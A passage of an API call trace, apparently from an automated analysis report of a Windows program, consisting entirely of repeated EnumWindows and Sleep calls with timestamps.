(lpEnumFunc=0x423dd0, lParam=0x410000) [0140.801] Sleep (dwMilliseconds=0x64) [0140.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.803] Sleep (dwMilliseconds=0x64) [0140.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.805] Sleep (dwMilliseconds=0x64) [0140.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.807] Sleep (dwMilliseconds=0x64) [0140.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.808] Sleep (dwMilliseconds=0x64) [0140.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.810] Sleep (dwMilliseconds=0x64) [0140.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.812] Sleep (dwMilliseconds=0x64) [0140.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.814] Sleep (dwMilliseconds=0x64) [0140.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.816] Sleep (dwMilliseconds=0x64) [0140.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.818] Sleep (dwMilliseconds=0x64) [0140.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.824] Sleep (dwMilliseconds=0x64) [0140.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.826] Sleep (dwMilliseconds=0x64) [0140.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.828] Sleep (dwMilliseconds=0x64) [0140.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.830] Sleep (dwMilliseconds=0x64) [0140.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.832] Sleep (dwMilliseconds=0x64) [0140.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.834] Sleep (dwMilliseconds=0x64) [0140.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.838] Sleep (dwMilliseconds=0x64) [0140.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.841] Sleep (dwMilliseconds=0x64) [0140.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.843] Sleep (dwMilliseconds=0x64) [0140.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.844] Sleep (dwMilliseconds=0x64) [0140.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.846] Sleep (dwMilliseconds=0x64) [0140.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.847] Sleep (dwMilliseconds=0x64) [0140.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.849] Sleep (dwMilliseconds=0x64) [0140.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.851] Sleep (dwMilliseconds=0x64) [0140.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.852] Sleep (dwMilliseconds=0x64) [0140.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.854] Sleep (dwMilliseconds=0x64) [0140.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.855] Sleep (dwMilliseconds=0x64) [0140.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.941] Sleep (dwMilliseconds=0x64) [0140.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.943] Sleep (dwMilliseconds=0x64) [0140.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.945] Sleep (dwMilliseconds=0x64) [0140.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.949] Sleep (dwMilliseconds=0x64) [0140.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.951] Sleep (dwMilliseconds=0x64) [0140.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.953] Sleep (dwMilliseconds=0x64) [0140.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.955] Sleep (dwMilliseconds=0x64) [0140.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.957] Sleep (dwMilliseconds=0x64) [0140.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.960] Sleep (dwMilliseconds=0x64) [0140.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.962] Sleep (dwMilliseconds=0x64) [0140.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.965] Sleep (dwMilliseconds=0x64) [0140.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.967] Sleep (dwMilliseconds=0x64) [0140.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.968] Sleep (dwMilliseconds=0x64) [0140.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.970] Sleep (dwMilliseconds=0x64) [0140.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.972] Sleep (dwMilliseconds=0x64) [0140.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.974] Sleep (dwMilliseconds=0x64) [0140.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.975] Sleep (dwMilliseconds=0x64) [0140.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.989] Sleep (dwMilliseconds=0x64) [0140.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.991] Sleep (dwMilliseconds=0x64) [0140.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.993] Sleep (dwMilliseconds=0x64) [0140.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.995] Sleep (dwMilliseconds=0x64) [0140.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.996] Sleep (dwMilliseconds=0x64) [0140.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.998] Sleep (dwMilliseconds=0x64) [0140.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0140.999] Sleep (dwMilliseconds=0x64) [0141.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.001] Sleep (dwMilliseconds=0x64) [0141.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.002] Sleep (dwMilliseconds=0x64) [0141.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.004] Sleep (dwMilliseconds=0x64) [0141.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.005] Sleep (dwMilliseconds=0x64) [0141.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.007] Sleep (dwMilliseconds=0x64) [0141.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.008] Sleep (dwMilliseconds=0x64) [0141.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.010] Sleep (dwMilliseconds=0x64) [0141.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.013] Sleep (dwMilliseconds=0x64) [0141.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.014] Sleep (dwMilliseconds=0x64) [0141.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.016] Sleep (dwMilliseconds=0x64) [0141.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.017] Sleep (dwMilliseconds=0x64) [0141.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.019] Sleep (dwMilliseconds=0x64) [0141.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.020] Sleep (dwMilliseconds=0x64) [0141.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.022] Sleep (dwMilliseconds=0x64) [0141.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.023] Sleep (dwMilliseconds=0x64) [0141.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.025] Sleep (dwMilliseconds=0x64) [0141.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.026] Sleep (dwMilliseconds=0x64) [0141.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.028] Sleep (dwMilliseconds=0x64) [0141.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.029] Sleep (dwMilliseconds=0x64) [0141.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.031] Sleep (dwMilliseconds=0x64) [0141.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.032] Sleep (dwMilliseconds=0x64) [0141.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.034] Sleep (dwMilliseconds=0x64) [0141.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.035] Sleep (dwMilliseconds=0x64) [0141.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.038] Sleep (dwMilliseconds=0x64) [0141.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.040] Sleep (dwMilliseconds=0x64) [0141.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.041] Sleep (dwMilliseconds=0x64) [0141.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.043] Sleep (dwMilliseconds=0x64) [0141.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.044] Sleep (dwMilliseconds=0x64) [0141.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.046] Sleep (dwMilliseconds=0x64) [0141.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.047] Sleep (dwMilliseconds=0x64) [0141.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.049] Sleep (dwMilliseconds=0x64) [0141.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.050] Sleep (dwMilliseconds=0x64) [0141.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.052] Sleep (dwMilliseconds=0x64) [0141.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.053] Sleep (dwMilliseconds=0x64) [0141.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.055] Sleep (dwMilliseconds=0x64) [0141.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.056] Sleep (dwMilliseconds=0x64) [0141.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.058] Sleep (dwMilliseconds=0x64) [0141.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.059] Sleep (dwMilliseconds=0x64) [0141.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.061] Sleep (dwMilliseconds=0x64) [0141.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.062] Sleep (dwMilliseconds=0x64) [0141.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.066] Sleep (dwMilliseconds=0x64) [0141.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.067] Sleep (dwMilliseconds=0x64) [0141.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.069] Sleep (dwMilliseconds=0x64) [0141.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.070] Sleep (dwMilliseconds=0x64) [0141.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.072] Sleep (dwMilliseconds=0x64) [0141.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.073] Sleep (dwMilliseconds=0x64) [0141.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.075] Sleep (dwMilliseconds=0x64) [0141.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.076] Sleep (dwMilliseconds=0x64) [0141.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.078] Sleep (dwMilliseconds=0x64) [0141.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.079] Sleep (dwMilliseconds=0x64) [0141.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.081] Sleep (dwMilliseconds=0x64) [0141.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.082] Sleep (dwMilliseconds=0x64) [0141.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.084] Sleep (dwMilliseconds=0x64) [0141.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.085] Sleep (dwMilliseconds=0x64) [0141.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.087] Sleep (dwMilliseconds=0x64) [0141.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.088] Sleep (dwMilliseconds=0x64) [0141.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.090] Sleep (dwMilliseconds=0x64) [0141.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.091] Sleep (dwMilliseconds=0x64) [0141.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.094] Sleep (dwMilliseconds=0x64) [0141.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.095] Sleep (dwMilliseconds=0x64) [0141.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.097] Sleep (dwMilliseconds=0x64) [0141.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.098] Sleep (dwMilliseconds=0x64) [0141.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.100] Sleep (dwMilliseconds=0x64) [0141.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.101] Sleep (dwMilliseconds=0x64) [0141.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.103] Sleep (dwMilliseconds=0x64) [0141.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.104] Sleep (dwMilliseconds=0x64) [0141.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.106] Sleep (dwMilliseconds=0x64) [0141.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.107] Sleep (dwMilliseconds=0x64) [0141.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.109] Sleep (dwMilliseconds=0x64) [0141.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.110] Sleep (dwMilliseconds=0x64) [0141.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.112] Sleep (dwMilliseconds=0x64) [0141.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.113] Sleep (dwMilliseconds=0x64) [0141.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.115] Sleep (dwMilliseconds=0x64) [0141.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.116] Sleep (dwMilliseconds=0x64) [0141.118] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.118] Sleep (dwMilliseconds=0x64) [0141.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.120] Sleep (dwMilliseconds=0x64) [0141.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.123] Sleep (dwMilliseconds=0x64) [0141.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.124] Sleep (dwMilliseconds=0x64) [0141.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.126] Sleep (dwMilliseconds=0x64) [0141.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.127] Sleep (dwMilliseconds=0x64) [0141.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.129] Sleep (dwMilliseconds=0x64) [0141.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.131] Sleep (dwMilliseconds=0x64) [0141.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.133] Sleep (dwMilliseconds=0x64) [0141.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.135] Sleep (dwMilliseconds=0x64) [0141.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.136] Sleep (dwMilliseconds=0x64) [0141.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.138] Sleep (dwMilliseconds=0x64) [0141.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.139] Sleep (dwMilliseconds=0x64) [0141.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.141] Sleep (dwMilliseconds=0x64) [0141.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.142] Sleep (dwMilliseconds=0x64) [0141.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.144] Sleep (dwMilliseconds=0x64) [0141.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.145] Sleep (dwMilliseconds=0x64) [0141.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.147] Sleep (dwMilliseconds=0x64) [0141.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.148] Sleep (dwMilliseconds=0x64) [0141.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.150] Sleep (dwMilliseconds=0x64) [0141.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.153] Sleep (dwMilliseconds=0x64) [0141.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.156] Sleep (dwMilliseconds=0x64) [0141.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.159] Sleep (dwMilliseconds=0x64) [0141.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.161] Sleep (dwMilliseconds=0x64) [0141.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.163] Sleep (dwMilliseconds=0x64) [0141.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.165] Sleep (dwMilliseconds=0x64) [0141.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.167] Sleep (dwMilliseconds=0x64) [0141.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.169] Sleep (dwMilliseconds=0x64) [0141.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.170] Sleep (dwMilliseconds=0x64) [0141.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.172] Sleep (dwMilliseconds=0x64) [0141.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.174] Sleep (dwMilliseconds=0x64) [0141.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.176] Sleep (dwMilliseconds=0x64) [0141.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.177] Sleep (dwMilliseconds=0x64) [0141.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.179] Sleep (dwMilliseconds=0x64) [0141.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.181] Sleep (dwMilliseconds=0x64) [0141.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.184] Sleep (dwMilliseconds=0x64) [0141.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.186] Sleep (dwMilliseconds=0x64) [0141.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.188] Sleep (dwMilliseconds=0x64) [0141.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.190] Sleep (dwMilliseconds=0x64) [0141.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.192] Sleep (dwMilliseconds=0x64) [0141.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.193] Sleep (dwMilliseconds=0x64) [0141.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.195] Sleep (dwMilliseconds=0x64) [0141.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.197] Sleep (dwMilliseconds=0x64) [0141.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.199] Sleep (dwMilliseconds=0x64) [0141.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.201] Sleep (dwMilliseconds=0x64) [0141.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.203] Sleep (dwMilliseconds=0x64) [0141.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.205] Sleep (dwMilliseconds=0x64) [0141.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.207] Sleep (dwMilliseconds=0x64) [0141.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.209] Sleep (dwMilliseconds=0x64) [0141.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.211] Sleep (dwMilliseconds=0x64) [0141.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.213] Sleep (dwMilliseconds=0x64) [0141.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.217] Sleep (dwMilliseconds=0x64) [0141.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.219] Sleep (dwMilliseconds=0x64) [0141.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.221] Sleep (dwMilliseconds=0x64) [0141.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.223] Sleep (dwMilliseconds=0x64) [0141.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.225] Sleep (dwMilliseconds=0x64) [0141.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.227] Sleep (dwMilliseconds=0x64) [0141.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.228] Sleep (dwMilliseconds=0x64) [0141.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.230] Sleep (dwMilliseconds=0x64) [0141.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.232] Sleep (dwMilliseconds=0x64) [0141.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.234] Sleep (dwMilliseconds=0x64) [0141.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.235] Sleep (dwMilliseconds=0x64) [0141.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.237] Sleep (dwMilliseconds=0x64) [0141.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.239] Sleep (dwMilliseconds=0x64) [0141.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.241] Sleep (dwMilliseconds=0x64) [0141.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.242] Sleep (dwMilliseconds=0x64) [0141.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.244] Sleep (dwMilliseconds=0x64) [0141.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.246] Sleep (dwMilliseconds=0x64) [0141.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.250] Sleep (dwMilliseconds=0x64) [0141.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.252] Sleep (dwMilliseconds=0x64) [0141.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.254] Sleep (dwMilliseconds=0x64) [0141.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.256] Sleep (dwMilliseconds=0x64) [0141.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.257] Sleep (dwMilliseconds=0x64) [0141.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.260] Sleep (dwMilliseconds=0x64) [0141.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.263] Sleep (dwMilliseconds=0x64) [0141.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.265] Sleep (dwMilliseconds=0x64) [0141.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.267] Sleep (dwMilliseconds=0x64) [0141.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.269] Sleep (dwMilliseconds=0x64) [0141.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.271] Sleep (dwMilliseconds=0x64) [0141.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.273] Sleep (dwMilliseconds=0x64) [0141.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.274] Sleep (dwMilliseconds=0x64) [0141.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.314] Sleep (dwMilliseconds=0x64) [0141.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.315] Sleep (dwMilliseconds=0x64) [0141.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.317] Sleep (dwMilliseconds=0x64) [0141.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.319] Sleep (dwMilliseconds=0x64) [0141.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.322] Sleep (dwMilliseconds=0x64) [0141.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.323] Sleep (dwMilliseconds=0x64) [0141.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.324] Sleep (dwMilliseconds=0x64) [0141.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.326] Sleep (dwMilliseconds=0x64) [0141.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.327] Sleep (dwMilliseconds=0x64) [0141.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.341] Sleep (dwMilliseconds=0x64) [0141.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.342] Sleep (dwMilliseconds=0x64) [0141.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.344] Sleep (dwMilliseconds=0x64) [0141.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.345] Sleep (dwMilliseconds=0x64) [0141.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.347] Sleep (dwMilliseconds=0x64) [0141.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.348] Sleep (dwMilliseconds=0x64) [0141.350] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.350] Sleep (dwMilliseconds=0x64) [0141.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.352] Sleep (dwMilliseconds=0x64) [0141.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.353] Sleep (dwMilliseconds=0x64) [0141.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.355] Sleep (dwMilliseconds=0x64) [0141.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.356] Sleep (dwMilliseconds=0x64) [0141.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.360] Sleep (dwMilliseconds=0x64) [0141.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.361] Sleep (dwMilliseconds=0x64) [0141.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.363] Sleep (dwMilliseconds=0x64) [0141.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.365] Sleep (dwMilliseconds=0x64) [0141.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.366] Sleep (dwMilliseconds=0x64) [0141.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.368] Sleep (dwMilliseconds=0x64) [0141.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.369] Sleep (dwMilliseconds=0x64) [0141.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.371] Sleep (dwMilliseconds=0x64) [0141.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.372] Sleep (dwMilliseconds=0x64) [0141.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.374] Sleep (dwMilliseconds=0x64) [0141.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.375] Sleep (dwMilliseconds=0x64) [0141.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.390] Sleep (dwMilliseconds=0x64) [0141.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.391] Sleep (dwMilliseconds=0x64) [0141.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.393] Sleep (dwMilliseconds=0x64) [0141.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.397] Sleep (dwMilliseconds=0x64) [0141.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.398] Sleep (dwMilliseconds=0x64) [0141.400] 